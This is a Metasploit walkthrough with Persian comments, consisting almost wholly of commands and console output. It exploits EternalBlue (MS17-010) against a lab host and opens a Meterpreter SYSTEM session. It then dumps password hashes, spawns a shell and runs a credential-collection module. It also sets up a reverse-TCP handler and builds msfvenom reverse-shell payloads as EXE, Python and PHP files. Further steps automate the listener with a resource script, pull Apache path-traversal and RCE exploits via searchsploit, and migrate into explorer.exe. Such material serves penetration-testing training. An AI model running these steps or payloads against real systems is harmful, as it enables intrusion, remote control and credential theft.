# مقداردهی اولیهٔ پایگاه داده
sudo msfdb init
 
# بررسی وضعیت
msfdb status
 
# خروجی:
# [*] Database started
# [*] ok

# راه‌اندازی کنسول Metasploit
sudo msfconsole -q
 
# خروجی:
# =[ metasploit v6.4.5-dev                          ]
# + -- --=[ 2429 exploits - 1252 auxiliary - 410 post           ]
# + -- --=[ 1391 payloads - 46 encoders - 11 nops               ]
# + -- --=[ 9 evasion                                               ]
 
msf6 >

msf6 > search eternalblue
 
# Matching Modules
# ================
#   #  Name                                           Rank       Description
#   -  ----                                           ----       -----------
#   0  exploit/windows/smb/ms17_010_eternalblue      average    MS17-010 EternalBlue

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
 
# Module options (exploit/windows/smb/ms17_010_eternalblue):
#    Name           Current Setting  Required  Description
#    ----           ---------------  --------  -----------
#    RHOSTS                          yes       The target host(s)
#    RPORT          445              yes       The target port
#    SMBDomain      .                no        (Optional) Windows domain
#    VERIFY_ARCH    true             yes       Check if remote architecture matches
#    VERIFY_TARGET  true             yes       Check if remote OS matches
 
# Payload options (windows/x64/meterpreter/reverse_tcp):
#    Name      Current Setting  Required  Description
#    ----      ---------------  --------  -----------
#    EXITFUNC  thread           yes       Exit technique
#    LHOST     192.168.1.5      yes       The listen address
#    LPORT     4444             yes       The listen port

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
 
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
 
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
 
[*] Started reverse TCP handler on 192.168.1.5:4444 
[*] 192.168.1.10:445 - Connecting to target for exploitation.
[+] 192.168.1.10:445 - Connection established for exploitation.
[+] 192.168.1.10:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.10:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.10:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.10:445 - Starting non-paged pool grooming
[+] 192.168.1.10:445 - Sending SMBv2 buffers
[*] 192.168.1.10:445 - Sending final SMBv2 buffers
[*] 192.168.1.10:445 - Sending last fragment of exploit packet!
[*] 192.168.1.10:445 - Receiving response from exploit packet
[+] 192.168.1.10:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.10:445 - Sending egg to corrupted connection.
[*] 192.168.1.10:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.10:49174)
 
meterpreter >

meterpreter > sysinfo
# Computer        : DESKTOP-ABC123
# OS              : Windows 10 (10.0 Build 19045).
# Architecture    : x64
# System Language : en_US
# Domain          : WORKGROUP
# Logged On Users : 2
# Meterpreter     : x64/windows
 
meterpreter > getuid
# Server username: NT AUTHORITY\SYSTEM
 
meterpreter > hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
 
meterpreter > shell
# Process 3544 created.
# Channel 1 created.
# Microsoft Windows [Version 10.0.19045.2965]
# C:\Windows\system32>

msf6 > background
[*] Backgrounding session 1...
 
msf6 > use post/windows/gather/credentials/credential_collector
msf6 post(windows/gather/credentials/credential_collector) > set SESSION 1
SESSION => 1
 
msf6 post(windows/gather/credentials/credential_collector) > run
 
[*] Running module against DESKTOP-ABC123
[*] Collecting credentials...
[+] Found cached credentials for user: Administrator
[+] Hash: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Post module execution completed

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
 
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
 
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
 
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:4444

# تولید payload Windows EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o shell.exe
 
# خروجی:
# [-] No platform was selected, choosing Msf::Module::Platform::Windows
# [-] No arch selected, selecting arch: x64
# No encoder specified, outputting raw payload
# Payload size: 510 bytes
# Final size of exe file: 7168 bytes
# Saved as: shell.exe
 
# تولید payload Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.py
 
# تولید payload PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.php

msf6 > workspace -a ProjectA
[*] Added workspace: ProjectA
[*] Workspace: ProjectA
 
msf6 > workspace
  default
* ProjectA
 
msf6 > workspace default
[*] Workspace: default

# ساخت resource script
cat > /tmp/auto_exploit.rc <<EOF
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run
EOF
 
# اجرای resource script
sudo msfconsole -r /tmp/auto_exploit.rc

# جستجوی اکسپلویت
searchsploit apache 2.4
 
# خروجی:
# --------------------------------------------- ---------------------------------
#  Exploit Title                               |  Path
# --------------------------------------------- ---------------------------------
# Apache 2.4.49 - Path Traversal               | multiple/webapps/50383.py
# Apache 2.4.50 - RCE                          | multiple/webapps/50406.sh
# --------------------------------------------- ---------------------------------
 
# کپی اکسپلویت
searchsploit -m 50383.py

# راه‌اندازی مجدد پایگاه داده
sudo msfdb reinit
 
# یا فقط کنسول بدون دیتابیس
msfconsole -q --no-deferred-load

# انتقال به فرآیند پایدارتر
meterpreter > migrate -N explorer.exe